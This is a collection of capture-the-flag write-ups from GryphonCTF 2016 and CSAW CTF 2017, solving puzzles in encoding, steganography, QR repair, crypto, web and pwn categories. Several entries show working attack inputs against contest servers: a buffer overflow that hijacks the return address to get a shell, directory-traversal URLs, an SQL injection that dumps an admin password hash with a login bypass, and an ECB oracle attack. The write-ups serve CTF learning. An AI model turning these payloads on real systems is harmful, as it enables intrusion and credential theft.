79c827550005100f4604d48c4057cad429c47785f8725f444915a6fdf7b7ae15232ceee4ed08fc64714c7c3a9bf2409f3ed095d4f479e1458f16f00175f2379a != 79c827550005100f4604d48c4057cad429c47785f8725f444915a6fdf7b7ae15232ceee4ed08fc64714c7c3a9bf2409f3ed095d4f479e1458f16f00175f2376d
===
442288
======
8fa90152c8419a4b8953e9140731f0218b53968d5475926a0ff319e6a0c2dd65a6ea57713a765434d87fbec32d8373856fa85fb716dd02f6262f6ad8e64277ce != 8fa90152c8419a4b8953e9140731f0218b53968d5475926a0ff319e6a0c2dd65a6ea57713a765434d87fbec32d8373856fa85fb716dd02f6262f6ad8e642775c
===
480014
======
698c4f43443a84d575c45417afc8c6834d42c61405e5f3d13e99f387519b807630401677284cc90b4b89779f244adbc5c7d7d5670db7f14166c8b8ddc1bfe521 != 698c4f43443a84d575c45417afc8c6834d42c61405e5f3d13e99f387519b807630401677284cc90b4b89779f244adbc5c7d7d5670db7f14166c8b8ddc1bfe4af
===
518215
======
ea583b10dc85bbdd1b4a3d8c26da477edd974420dc6118585eab9f644ca6d259ce3f425fef486c884c6574b7b2478743e8aa092e1beebad8eb9e3e39453bbd19 != ea583b10dc85bbdd1b4a3d8c26da477edd974420dc6118585eab9f644ca6d259ce3f425fef486c884c6574b7b2478743e8aa092e1beebad8eb9e3e39453bbd92
===
523064
======
44416ef05be7876d3ae98a0d9d5e383a6e7b89a83cfb20f2ea976dd78f3309a6b53123b4b3013bc2157ca9ab4f593bd2cd65278c18aae3b588ede6296a3cfedc != 44416ef05be7876d3ae98a0d9d5e383a6e7b89a83cfb20f2ea976dd78f3309a6b53123b4b3013bc2157ca9ab4f593bd2cd65278c18aae3b588ede6296a3cfe7d
===
525137
======
356adb1a8aacfff6cc63eda8553d4714581501318f2e3400bbe3e07756e4ddf4083ace119e8fe12a7d4020d63a9ea17bb6d8394557b85c0c0b9b049b21f85cb8 != 356adb1a8aacfff6cc63eda8553d4714581501318f2e3400bbe3e07756e4ddf4083ace119e8fe12a7d4020d63a9ea17bb6d8394557b85c0c0b9b049b21f85ced
===
538035
======
0b625bfbaf9aabb35dc885f379cdc0e2e4d1aa80d33380789fa7097a75c7ae56aacd7cc6c770a1c674da33c1b02ddd644e4601297079c91301ae7fbc9bcb0f33 != 0b625bfbaf9aabb35dc885f379cdc0e2e4d1aa80d
33380789fa7097a75c7ae56aacd7cc6c770a1c674da33c1b02ddd644e4601297079c91301ae7fbc9bcb0f9b
===
613916
======
dd92300d2b36b86cfbb6c7b3742063f487fa04fe8f49e4a329a3ae293bc912e8032b07d94668e845bc96e5c3d74cb6ee8dda629882add6191f231fb776e6e3d8 != dd92300d2b36b86cfbb6c7b3742063f487fa04fe8f49e4a329a3ae293bc912e8032b07d94668e845bc96e5c3d74cb6ee8dda629882add6191f231fb776e6e3a4
===
616679
======
875beba523c9361a38f1474cca161a11f8b429640c0e8bf330ea50f7894f1263bd6ddf9901689d71a6685f6ae3457379220e88026b2a39c4ea37dd6cd05c9ebe != 875beba523c9361a38f1474cca161a11f8b429640c0e8bf330ea50f7894f1263bd6ddf9901689d71a6685f6ae3457379220e88026b2a39c4ea37dd6cd05c9eeb
===
626301
======
9a109cec88210524e7e647505ecc1cf385c5632275b8591f189a5358bb570aaf5ad3e5906e2bdd39fc4214b58391c479d078101128237193831825c237739c92 != 9a109cec88210524e7e647505ecc1cf385c5632275b8591f189a5358bb570aaf5ad3e5906e2bdd39fc4214b58391c479d078101128237193831825c237739d04
===
641793
======
5d7775af25bf7c6ee7c5145de74fa35778fd228a8ad2ab39279db92244bcef7e1fe520aa4d165eb3dbd7bf535b219dd104fda8ad8473cba7a500fcfff9be8ac8 != 5d7775af25bf7c6ee7c5145de74fa35778fd228a8ad2ab39279db92244bcef7e1fe520aa4d165eb3dbd7bf535b219dd104fda8ad8473cba7a500fcfff9be8b3a
===
660095
======
fdba2c65e9dfebe2b1c1afc714ed9a3c33f4a872d9ffa09f67e07f02c11422ea5d381175c851a969e85f9b2451e80502e12d043abdc99f79be0cdbad31e0445b != fdba2c65e9dfebe2b1c1afc714ed9a3c33f4a872d9ffa09f67e07f02c11422ea5d381175c851a969e85f9b2451e80502e12d043abdc99f79be0cdbad31e044d4
===
704921
======
bef8c892187ae2c4c1bd6db6ea3102d57f21c053c2d92119e482459e71cf003d4a4186986671136aa66bd2f95fc1936df1980b884850a1340ce6bd5cfdb9879c != bef8c892187ae2c4c1bd6db6ea3102d57f21c053c2d92119e482459e71cf003d4a4186986671136aa66bd2f95fc1936df1980b884850a1340ce6bd5cfdb987fb
===
773589
======
c10b537a5d07331ba46ea8e6368c191c17160a6984bfee8db7d27f2f1db2bbed19f2dc03c72930e3b7b815196c5b53ee8fb728fb9f37ab8d6f5da6f630df228e != c10b537a5d07331ba46ea8e6368c191c17160a6984bfee8db7d27f2f1db2bbed19f2dc03c72930e3b7b815196c5b53ee8fb728fb9f37ab8d6f5da6f630df22fc
===
786375
======
b0e8232e6faee3b7827020ef0d07cf9068872035332d57d9bcba0ba505024c107dbceb0356217fb0f0026d4176a8b0a990ea8439269804f207babb108d2d90da != b0e8232e6faee3b7827020ef0d07cf9068872035332d57d9bcba0ba505024c107dbceb0356217fb0f0026d4176a8b0a990ea8439269804f207babb108d2d910b
===
812113
======
856b15b031a2c3b1221f35fd46f0263bdd32d884d3608712d98cae60d3771a9eda5d5dbf68ceb6428fa82c755b5dd0fcdc60803ca6e67997ca258daaad25df1b != 856b15b031a2c3b1221f35fd46f0263bdd32d884d3608712d98cae60d3771a9eda5d5dbf68ceb6428fa82c755b5dd0fcdc60803ca6e67997ca258daaad25df51
===
819872
======
731d52c08f8761e11ad2dd849df7ec25522b82af38d8facc9d8aac12275d20e419b5b427eece9c1776840d57ce2a6d8266a35bdb28407af4e4ad33d91170e6f6 != 731d52c08f8761e11ad2dd849df7ec25522b82af38d8facc9d8aac12275d20e419b5b427eece9c1776840d57ce2a6d8266a35bdb28407af4e4ad33d91170e68e
===
833648
======
48ed7448cfd5cfa027481694e0181015844f3901b68260ddad96814eb5a8bc4d2de65b938ed34ca2ca61e95ec43abdb925ca87351beed522eccf7228e01ed6fe != 48ed7448cfd5cfa027481694e0181015844f3901b68260ddad96814eb5a8bc4d2de65b938ed34ca2ca61e95ec43abdb925ca87351beed522eccf7228e01ed6c7
===
883221
======
fd69c00d3cd773062118dbfa0e2cb1d4157e10e11aba801bdbc38ef335bf11336a4efa9f87d05c305777a58f0019f99ac76cf2a6217465974518900e575cc678 != fd69c00d3cd773062118dbfa0e2cb1d4157e10e11aba801bdbc38ef335bf11336a4efa9f87d05c305777a58f0019f99ac76cf2a6217465974518900e575cc6f5
Hmm... what now? Removing similar characters, we get
96 != 4f
7f4 != 837
11a != 0c6
51 != 0b
e4e != dd3
9a != cf
c7d != ce5
ae != e2
9a != 6d
ce != 5c
521 != 4af
19 != 92
dc != 7d
b8 != ed
33 != 9b
d8 != a4
be != eb
c92 != d04
ac8 != b3a
5b != d4
9c != fb
8e != fc
0da != 10b
1b != 51
f6 != 8e
fe != c7
78 != f5
Hmm... Converting GCTF
into hexadecimal, we get 47 43 54 46
. Let's try a few things.
967f411a51e4e9ac7dae9ace52119dcb833d8bec92ac85b9c8e0da1bf6fe78 [all length]
96f41a514e9a7dae9ace2119dcb833d8be92c85b9c8eda1bf6fe78 [trunc 2 bit]
4f8370c60bdd3cfce5e26d5c4af927ded9ba4ebd04b3ad4fbfc10b518ec7f5 [all length]
4f37c60bd3cfe5e26d5caf927ded9ba4eb043ad4fbfc0b518ec7f5 [trunc 2 bit]
967f411a51e4e9ac7dae9ace52119dcb833d8bec92ac85b9c8e0da1bf6fe78 = AQäé¬}®ÎRË=ì¬
¹ÈàÚöþx
4f8370c60bdd3cfce5e26d5c4af927ded9ba4ebd04b3ad4fbfc10b518ec7f5 = OpÆÝ<üåâm\Jù'ÞÙºN½³O¿ÁQÇõ
That's not right... Let's try hex-wise calculations...
96 - 4f = 47
837 - 7f4 = 43
Are we on to something? Hmm... I am lazy and thus made a script that would do all these for me!
./script.py
1000001 / 1000001 completed
FLAG: GCTF{5h4-rry_5h4-rry_n16h7}
GryphonCTF_2016: txt record
Category: Misc Points: 10 Description:
Heyyy I store the flag at the text record of somewhere!! Whaattt..? You still don't get it? Fine, use nslookup! Creator - Chen Qiurong (@pc84560895)
Hint:
Write-up
Just run dig TXT spgame.site
.
Therefore, the flag is GCTF{7r4c1n6_345y}
GryphonCTF_2016: Nyan cat is on the loose!
Category: Misc Points: 10 Description:
Nyan Cat! Creator - Darren Ang (@txsouth)
Hint:
Write-up
This is a simple one again, you just need to know how to split GIF files into their respective frames. One tool that helps is this site.. On the 6th frame, you get a picture like this
On it, appears to be R0NURntueTRuX2M0N182MWZfMTVfNTBfYzAwbH0=
Converting it from base64 -> ascii gives us GCTF{ny4n_c47_61f_15_50_c00l}
.
Therefore, the flag is GCTF{ny4n_c47_61f_15_50_c00l}
.
GryphonCTF_2016: The Emprah
Category: Misc Points: 15 Description:
So holy and fabulous Creator - Darren Ang (@Southzxc)
Hint:
Write-up
We are given a PDF file now. Opening the file and copy pasting contents into Microsoft Word gives you the string I5BVIRT3NQ2HSM3SGVPXK4BQNZPWYNDZGNZDK7I
. Decoding it as a base32 string gives you, GCTF{l4y3r5_up0n_l4y3r5}
.
Therefore, the flag is GCTF{l4y3r5_up0n_l4y3r5}
.
GryphonCTF_2016: Dirty Bird
Category: Misc Points: 20 Description:
You found a dirty ol' square piece of black paper with a QR code on it, naturally, you become curious... Should you scan it? Creator - Shawn Pang (@Optixal)
Hint:
Write-up
Definitely, you should scan it. Till you realize you cannot.
Invert the image, black = white, white = black, scan it. You get an integer 234469727479426972647341726531333337
, what the hell? Oh wait, it's a hex-encoded string. Convert it to string using a tool like echo 234469727479426972647341726531333337 | xxd -r -p
. You get #DirtyBirdsAre1337
from the previous step. What's this? A pound sign? No stupid, it's a hashtag!
Searching it up in Twitter, gets you
JFWI{7k3_gxps573u_g1y3u}
. This looks suspiciously like a flag format, so we run it through the easiest decode algorithm, called ROT. On ROT-23, yuo get GCTF{7h3_dump573r_d1v3r}
.
Therefore, the flag is GCTF{7h3_dump573r_d1v3r}
.
GryphonCTF_2016: I Need You
Category: Misc Points: 25 Description:
I need you to fix my QR code for me pls! This may help: 00010 Creator - Shawn Pang (@Optixal)
Hint:
Write-up
Credits to @zst123 [Manzel Seet] for eliminating the original possibilities(hahaha).
We are given a broken QR code.
00010
refers to the format string, with error correction M and mask pattern 2 (column) mod 3 == 0
.
Generator polynomial is 10100110111
.
Firstly, we need to pad the format string on the right with zeroes till the length of 15, then we need to remove the zeroes on the lefs.
format = 00010
format = 000100000000000
format = 100000000000
Then, we need to pad the generator polynomial till the same length as the format.
generator = 10100110111
generator = 101001101110
Next, we have to xor it.
product = 101001101110 ^ 100000000000
product = 001001101110
product = 1001101110
As the resulting product is 10
bits, we can stop here. Now we can join the previous format bit string with the product string,
combined = format + product
combined = 00010 + 1001101110
combined = 000101001101110
Lastly, we need to XOR it again,
final = combined ^ 101010000010010
final = 000101001101110 ^ 101010000010010
final = 101111001111100
Using the table below, we can now encode this last final format/mask string into our QR code.
14 | 13 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 |
Hm... it still doesn't scan... We go back to our table of format version table. Searching for the initial hint, we get 000100000111011
. Pattern 7, with ECC H.
14 | 13 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 1 |
Encoding it again this time around with the new format/mask string, we get this QR code.
Scanning it, gives us the flag. We had done all the math for nothing. T.T
Therefore, the flag is GCTF{w3lc0m3_70_7h3_m47r1x}
.
GryphonCTF_2016: Mr Robot
Category: Forensics Points: 35 Description:
The sound is so deep for elliot Alternative (Faster) Download Link WARNING: 63 MB file Creator - Darren Ang (@Southzxc)
Write-up
No files provided as it's a really big file. Download the file, ignore everything else. Extract the two WAVs and load the 58.3MB wav into SonicVisualiser. You see those two spikes? Well, don't worry. Add a spectrogram pane and look for the red lines in the timeline. Scroll to the red lines, zoom in, set window to 256 and 50% and viola, you found text.
Upon tireless copying, we get the password, BSXPeQrbG3HrG1in2VrU
.
Opening the other WAV file in SonicVisualiser though, reveals nothing. Hmm... Sound is so deep for elliot... Mr Robot... Wait a second. I've never watched Mr Robot in my life but maybe googling 'Mr Robot WAV Steganography' will reveal something? Couple of searches later, we end up with a tool called DeepSound.
Putting the password into DeepSound and the 2nd WAV file, we get a hidden .DOCX file. Extracting it and opening it up gives us a cryptic The flag is not here, look harder
. Opening Properties and going into Custom, we see a Flag property. Viola.
Therefore, the flag is GCTF{57364n06r4phy_15n7_7h47_h4rd}
.
GryphonCTF_2016: 3D Printing
Category: Forensics Points: 10 Description:
My friend went for this "iExperience" field trip and sent me this photo about them 3D printing something. Pretty cool eh? Creator - Kelvin Neo (@deathline75)
Write-up
We are given a image now.
Run strings image.jpg
. CTRL-F Look for 'GCTF{'.
Therefore, the flag is GCTF{d474_c4rv1n6_15_345y}
.
GryphonCTF_2016: Zizi
Category: Forensics Points: 15 Description:
Your ex-coworker, Zizi, discreetly changed your wallpaper on your desktop before leaving the company...
Write-up
This time around we are given a nice JPEG file. Opening the image up in an hex viewer, we notice something strange at the end of the file, namely, two mentions of a file named pass.txt
. Next up, calculate the bit offset of the PK
symbol and run the command dd
.
dd if=img.jpg of=test.zip bs=1 skip=216527
Unzipping test.zip
gets you pass.txt
. Inside pass.txt
, you find the message,
You're nearly there. Password: l0v3z1z1
So now, we have a password but no flag! Now we try running the original image file into something called jphs, which is a tool used for incorporating files into image files and even allowing for encryption and decryption. Seeking a file with the password we got above, reviews yet ANOTHER zip file. Unzipping the 2nd zip file, we get mylove.txt
Walk out into the path of cherry blossom trees and let your motherboard feel the stones. Let water run in rivulets down your casing. You know that you want something more than this, and I am here to tell you that I love you. I have something more for you. I know you're out there, beeping in the hollow server room, lights blinking, never sleeping. I know that you are ready and waiting. Join me. Zizi <3 GCTF{z1pp3d_17_r34l_71gh7}
Therefore, the flag is GCTF{z1pp3d_17_r34l_71gh7}
.
GryphonCTF_2016: Sanity bot
Category: Sanity Points: 5 Description:
Talk to Red Bot on Discord Chat. He is lonely. Creator - Kelvin Neo (@deathline75)
Write-up
A simple sanity question. Just inputting !help
to the discord bot returns
Red - A multifunction Discord bot by Twentysix
GCTF:
flag Prints a flag to you
General:
userinfo Shows users's informations
lmgtfy Creates a lmgtfy link
urban Urban Dictionary search
roll Rolls random number (between 1 and user choice)
8 Ask 8 ball a question
rps Play rock paper scissors
serverinfo Shows server's informations
choose Chooses between multiple choices.
poll Starts/stops a poll
flip Flips a coin... or a user.
stopwatch Starts/stops stopwatch
Mod:
names Show previous names/nicknames of a user
Owner:
version Shows Red's current version
info Shows info about Red
set Changes Red's global settings.
contact Sends message to the owner
uptime Shows Red's uptime
Trivia:
trivia Start a trivia session with the specified list
No Category:
help Shows this message.
Type !help command for more info on a command.
You can also type !help category for more info on a category
How nice, !flag
gives us the flag,
Therefore, the flag is GCTF{r3d_b07_15_fr13ndly}
.
GryphonCTF_2016: Sanity Crypto
Category: Sanity Points: 5 Description:
Creator - Darren Ang (@txsouth)
Write-up
We are given a string,
MDEwMDAxMTEgMDEwMDAwMTEgMDEwMTAxMDAgMDEwMDAxMTAgMDExMTEwMTEgMDAxMTAxMTAgMDAxMTAwMDEgMDExMTAxMTAgMDAxMTAwMTEgMDAxMTAxMDAgMDExMTAxMTEgMDAxMTAxMDAgMDExMTEwMDEgMDEwMTExMTEgMDExMTAwMDAgMDAxMTAwMDAgMDAxMTAwMDEgMDExMDExMTAgMDAxMTAxMTEgMDAxMTAxMDEgMDEwMTExMTEgMDAxMTAxMDAgMDExMTAwMTAgMDAxMTAwMTEgMDEwMTExMTEgMDAxMTAxMTAgMDExMTAwMTAgMDAxMTEwMDAgMDExMTExMDE=
The equals at the back tell us this is probably base64. Using a base64 -> string, we get
01000111 01000011 01010100 01000110 01111011 00110110 00110001 01110110 00110011 00110100 01110111 00110100 01111001 01011111 01110000 00110000 00110001 01101110 00110111 00110101 01011111 00110100 01110010 00110011 01011111 00110110 01110010 00111000 01111101
Which, of course is binary. Putting that through a binary -> ascii converter, we get
GCTF{61v34w4y_p01n75_4r3_6r8}
Therefore, the flag is GCTF{61v34w4y_p01n75_4r3_6r8}
.
GryphonCTF_2016: Sanity Bin - Uncompleted
Category: Sanity Points: 5 Description:
Mama says that she's gonna put my flag at the clipboard. Creator - Chen Qiurong (@pc84560895)
Write-up
We are given a .exe file. What do we do with it? Well, simple. Just run it!
Nothing happens, or did it?
Ctrl-V.
Therefore, the flag is ``. [Flag missing due to laziness to reopen VM.]
GryphonCTF_2016: Sanity Forensics
Category: Sanity Points: 5
Write-up
This time around we are given a JPEG file. This one is relatively easy and only requires you to open the image up in a text editor and scroll all the way down.
Therefore, the flag is GCTF{3z_f0r3n51c5_101}
.
GryphonCTF_2016: Sanity Stego
Category: Sanity Points: 5
Write-up
So, another easy one. Just highlight the most recurring integer, 9
and look at the beautiful ASCII art.
Therefore, the flag is GCTF{M0N05P4C3_B357_F0N7_F4M1LY}
GryphonCTF_2016:
Category: Pwn Points: 15 Description:
I just learned C last semester! Better put that to the test! Play it here: nc play.spgame.site 9993 Creator - Kelvin Neo (@deathline75)
Write-up
Credits to @zst123 [Manzel Seet] for helping with the general idea of this challenge. (OS duplication all me though).
We are given a source code for the calculator. On first look, it seems fairly simple, we just need to guess the random number and come up with integer sums to overflow into the negative. As we know, general unsigned 32 bit integers go from 0
to 2^32 - 1
and signed 32 bit integers go from -2^31
to 2^31 - 1
. To overflow from 0
to negative -100
, you need to add 2^32 - 1 - 100
, or to effectively add 4,294,967,195
.
This challenge however, tests much more on a deeper topic, on C's rand()
and srand()
function. If we take a look at the source code,
srand(time(NULL));
...
int j = rand() % 12345678 * -1;
int r = j + 0;
We see that the secret number is rand()
for an integer between 0
and -12345678
and we also see that srand(time(NULL))
seeds the random number generator with the timestamp.
Attempting to create a similar program, we find that somehow, the secret number in our script doesn't seem to correspond to the number in the server... what now? Well, apparently, C rand()
function differs from OS to OS. If running the program on a MacBook OSX doesn't work, we can try... Ubuntu.
And thus, God said, let there be Dockerfile.
$ docker run --rm ezpwn
Traceback (most recent call last):
File "./script.py", line 38, in <module>
raise Exception('GCTF FLAG FOUND %s' % data)
Exception: GCTF FLAG FOUND
Here is your prize GCTF{5ub7r4c710n_by_h1dd3n_4dd1710n}!
Therefore, the flag is GCTF{5ub7r4c710n_by_h1dd3n_4dd1710n}
.
GryphonCTF_2016: lolc0ded
Category: Pwn Points: 35 Description:
$ curl http://play.spgame.site:13337/README.lol
HAI 1.337
CAN HAS STDIO?
I HAS A file ITZ I IZ STDIO'Z OPEN YR "README.lol" AN YR "r" MKAY
VISIBLE I IZ STDIO'Z LUK YR file AN YR 13337 MKAY
OBTW
Flag is at /home/lolc0ded/flag.lol.
TLDR
KTHXBYE
The service is running at http://play.spgame.site:13337/. Feel free to check out http://play.spgame.site:13337/index.lol to learn more about lolc0ded.
Write-up
Possibly one of the most nugget brained challenge for this year, a HTTP server that runs on garbled crap. In a nutshell, we need to do directory tranversals. Since we have a very verbose 404 page, we just keep trying http://play.spgame.site:13337/home/../home/lolc0ded/flag.lol
. Apparently, this filters out to become http://play.spgame.site:13337/home/lolc0ded/flag.lol
. No matter how many ../
you put, it just seems to redirect back.
So let's try //
. With http://play.spgame.site:13337/home//../home/lolc0ded/flag.lol
, you get redirected to, http://play.spgame.site:13337/home/home/lolc0ded/flag.lol
. Interesting pattern now. Is doubling the symbol working? Let's try //
and ....
now! With http://play.spgame.site:13337/home//....//home/lolc0ded/flag.lol
You get back the original file at http://play.spgame.site:13337/home/lolc0ded/flag.lol
except this time around, the url didn't redirect!
Now let's try iterating it upwards. With http://play.spgame.site:13337/home//....//home/lolc0ded/flag.lol
we have the fake flag file. With http://play.spgame.site:13337/home//....//....//home/lolc0ded/flag.lol
we have a brutal 404 page with
Not Found The requested URL /home//../../home/lolc0ded/flag.lol was not found on this server.
Perfect. At no. 4 we get the flag.
Therefore, the flag is GCTF{d0nT_c0d3_L0nG_COd3_uS1Ng_L0LcOd3}
.
GryphonCTF_2016: Aleph MinusOne
Category: Pwn Points: 15 Description:
Do Aleph One proud. nc play.spgame.site 1346 Creator - Jeremy Heng (@amon)
Write-up
Credits to @zst123 [Manzel Seet] for helping with discovering buffer exploit length.
Now we are given a chance to do buffer overflow!
$ nc play.spgame.site 1346
Base Pointer: 0xffb83368
Address of Buffer: 0xffb832e0
Size of buffer: 128
give_shell() function: 0x804852d
Your exploit string: d
Contents of Buffer: d
Return Address: 0x8048633
We know that the give_shell()
function is at 0x804852d
. We also know that the size of the buffer is 128
, and by adding 12 bytes and appending our give_shell()
function address to overwrite the RET address, we gain shell.
$ ./script.py
0
RECV>>>Base Pointer: 0xffdba9b8
RECV>>>Address of Buffer: 0xffdba930
Size of buffer: 128
give_shell() function: 0x804852d
Your exploit string:
['08', '04', '85', '2d']
RECV>>>Contents of Buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-?
RECV>>>Return Address: 0x804852d
$ cat /home/alephuser/flag
RECV>>>GCTF{th3_op3n355_0f_t1m3}
Final script here.
Therefore, flag is GCTF{th3_op3n355_0f_t1m3}
.
CSAWCTF_2017: Super Difficult Recon
Category: Recon Points: 1 Description:
lol jk no recon this year :P flag is flag{f00led_uuuuuuu}
Write-up
The flag is given right from the start.
Therefore, the flag is flag{f00led_uuuuuuu}
.
CSAWCTF_2017: Baby_Crypt
Category: Crypto Points: 350 Description:
The cookie is input + flag AES ECB encrypted with the sha256 of the flag as the key. nc crypto.chal.csaw.io 1578
Write-up
A challenge based on the block-like behaviour of ECB. This one tests upon how ECB can be exploited if you can control part of the input. For example, in the following example, each block is encrypted separately, so if both blocks are the same, they produce the same ciphertext.
[INPUT 32] | [FLAG 32]
012356789 | 0123456789
Therefore, INPUT == FLAG.
Now, this can be exploited if we pad the flag out to where we only need to bruteforce one. In the following example, we can simply bruteforce the last character of the first block, till the first and second blocks of ciphertext is the same, concluding we've broken the first letter of the flag. This can then be rinsed and repeated! This is lovingly automated with Python!
0000000X | 0000000[FIRST LETTER OF FLAG] | [REST OF FLAG]
000000fX | 000000f[SECOND LETTER OF FLAG] | [REST OF FLAG]
00000flX | 00000fl[THIRD LETTER OF FLAG] | [REST OF FLAG]
...
Running the script gives us,
# ./solve.py
[+] Opening connection to crypto.chal.csaw.io on port 1578: Done
[+] Cracking flag...: Done
[+] flag{Crypt0_is_s0_h@rd_t0_d0...}
[*] Closed connection to crypto.chal.csaw.io port 1578
Therefore, the flag is flag{Crypt0_is_s0_h@rd_t0_d0...}
.
CSAWCTF_2017: Shia Labeouf
Category: Web Points: 150 Description:
Do it Just do it Don't let your dreams be dreams Yesterday you said tomorrow So just do it Make your dreams come true Just do it Pick 1: http://web.chal.csaw.io:5487 http://web.chal.csaw.io:5488 http://web.chal.csaw.io:5489 http://web.chal.csaw.io:5490
Write-up
This challenge was quite tricky, testing upon the tenancity and patience of challengers. The first step to solving this would be to understand Django's templating language. The second step was to discover the additional filters on ad-lib
, by invoking a stacktrace by visiting a wrong URL, like http://web.chal.csaw.io:5487/polls/3/. This gives us an idea of what we have at our disposal.
@register.filter(name='getme')
def getme(value, arg):
return getattr(value, arg)
@register.filter(name='checknum')
def checknum(value):
check(value) ...
@register.filter(name='listme')
def listme(value):
return dir(value)
def check(value):
So now we have a bunch of functions we can use to display values, let's try and see what we are given. Entering {% debug %}
on ad-lib/
gives us a debug page, with a suspicious variable mrpoopy
. Let's try using the functions we received earlier to debug it.
{% raw %}
{{ mrpoopy | listme }}
['Woohoo', '__doc__', '__flag__', '__module__']
{% endraw %}
This gives us a variable __flag__
? Let's try printing that out!
{% raw %}
{{ mrpoopy | getme:"__flag__" }}
flag{wow_much_t3mplate}
{% endraw %}
Therefore, the flag is flag{wow_much_t3mplate}
.
CSAWCTF_2017: LittleQuery
Category: Web Points: 200 Description:
I've got a new website for BIG DATA analytics! http://littlequery.chal.csaw.io
Write-up
This challenge is a straightforward database injection attack challenge, with a bit of recon mixed in. This challenge starts with seeing the robots.txt
page.
User-agent: *
Disallow: /api
From there, we discover a hidden part of the site, /api
!
Index of /api
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] db_explore.php 2017-09-13 10:36 1.9K
Apache/2.4.18 (Ubuntu) Server at littlequery.chal.csaw.io Port 80
This leads us to db_explore.php
. Upon further testing, there were two factors towards solving the challenge. First, is the mode schema
and second, the mode preview
. Upon further testing, we end up with 3 things.
http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema&db=littlequery&table=user
http://littlequery.chal.csaw.io/api/db_explore.php?mode=preview&db=littlequery`.`user`%23&table=users
In this case, %23
stands for #
, to comment out the rest of the SQL statement. Now, we have the user credentials.
admin:5896e92d38ee883cc09ad6f88df4934f6b074cf8
Since the password is hashed clientside before sending to server, we can simply prevent the hashing from taking place and sending the hash, using this JS command!
$(".form-signin").off()
Therefore, the flag is flag{mayb3_1ts_t1m3_4_real_real_escape_string?}
.
CSAWCTF_2017: Orange V1
Category: Web Points: 100 Description:
I wrote a little proxy program in NodeJS for my poems folder. Everyone wants to read flag.txt but I like it too much to share. http://web.chal.csaw.io:7311/?path=orange.txt
Write-up
This is a challenge on directory transversal attacks, with the focus on encoding the payload such that attacking it requires a double-encoded payload.
Our original attempt at http://web.chal.csaw.io:7311/?path=../
immediately responded with WHOA THATS BANNED!!!!
. This led me to believing that ..
is banned. So, to bypass this, all we have to do is double encode the .
to %252e
. Navigating to http://web.chal.csaw.io:7311/?path=%252e%252e/flag.txt
gives us the flag.
Therefore, the flag is flag{thank_you_based_orange_for_this_ctf_challenge}
.
CSAWCTF_2017: Twitch Plays Pwnable
Category: Misc Points: 100 Description:
How long does it take several thousand hackers to exploit a buffer overflow? https://twitch.tv/csawtv UPDATE 8:03 Eastern: Apparently the answer is ~10 hours to not exploit the overflow.
Write-up
This challenge involved watching the stream continously. This is stupid.
Therefore, the flag is flag{pra1se_h3l1x}
.
CSAWCTF_2017: CVV
Category: Misc Points: 100 Description:
Hey fam, you got CVV? I need some CVV! nc misc.chal.csaw.io 8308
Write-up
This challenge involves programming a credit card generator challenge to answer to some stupid questions. I accomplished this in Python.
# ./solve.py
[+] Opening connection to misc.chal.csaw.io on port 8308: Done
[*] Sending: 5112343637805266
[*] Sending: 371442055014331
[*] Sending: 4123458813001652
[*] Sending: 4123455688586239
[*] Sending: 371448875016356
[*] Sending: 6512348578054315
[*] Sending: 5112348402301607
[*] Sending: 5112340363042817
[*] Sending: 371446554844601
[*] Sending: 6512344586486268
[*] Sending: 5112341350115343
[*] Sending: 5112347756607528
[*] Sending: 6512346362448008
[*] Sending: 5112348814205057
[*] Sending: 5112346317537026
[*] Sending: 4123454502483244
[*] Sending: 5112344350131583
[*] Sending: 6512348566784832
[*] Sending: 371442136700072
[*] Sending: 371440450658231
[*] Sending: 4123456027166782
[*] Sending: 5112347367651360
[*] Sending: 6512343602671051
[*] Sending: 6512348164133127
[*] Sending: 6512340240266062
[*] Sending: 92158080204469
[*] Sending: 39270585531282
[*] Sending: 66721813455179
[*] Sending: 31020185242303
[*] Sending: 93425046354012
[*] Sending: 11752805382523
[*] Sending: 68816640136634
[*] Sending: 82052748601244
[*] Sending: 67703873203201
[*] Sending: 20374656483216
[*] Sending: 41041472533863
[*] Sending: 76804517547463
[*] Sending: 69467384071360
[*] Sending: 31580174680524
[*] Sending: 66065203028158
[*] Sending: 78780265422679
[*] Sending: 61300788020576
[*] Sending: 47687076568038
[*] Sending: 97813628204810
[*] Sending: 90593364307632
[*] Sending: 19195522731279
[*] Sending: 92857127367649
[*] Sending: 25547185033371
[*] Sending: 84935483876351
[*] Sending: 67427422118229
[*] Sending: 1234561204813536
[*] Sending: 1234564068850263
[*] Sending: 1234561464240370
[*] Sending: 1234568383573534
[*] Sending: 1234563707302181
[*] Sending: 1234560437374217
[*] Sending: 1234561133332327
[*] Sending: 1234562888705733
[*] Sending: 1234568287388047
[*] Sending: 1234568852702747
[*] Sending: 1234562562565312
[*] Sending: 1234560442604020
[*] Sending: 1234568786130569
[*] Sending: 1234560864323760
[*] Sending: 1234565186225023
[*] Sending: 1234564422855834
[*] Sending: 1234564074738718
[*] Sending: 1234567716504604
[*] Sending: 1234568746348731
[*] Sending: 1234566077050280
[*] Sending: 1234564015167704
[*] Sending: 1234562028086721
[*] Sending: 1234567812207110
[*] Sending: 1234566500764416
[*] Sending: 1234566206605541
[*] Sending: 1234563052387506
[*] Sending: 1234567504268263
[*] Sending: 1234563873819687
[*] Sending: 1234566703607420
[*] Sending: 1234566700346121
[*] Sending: 1234564773837241
[*] Sending: 1234566188354290
[*] Sending: 1234566072208453
[*] Sending: 1234568750004451
[*] Sending: 1234560726716904
[*] Sending: 1234562583006726
[*] Sending: 1234565604628006
[*] Sending: 1234562685201217
[*] Sending: 1234564032402803
[*] Sending: 1234561401315327
[*] Sending: 1234563637836555
[*] Sending: 1234565868079375
[*] Sending: 1234560508878740
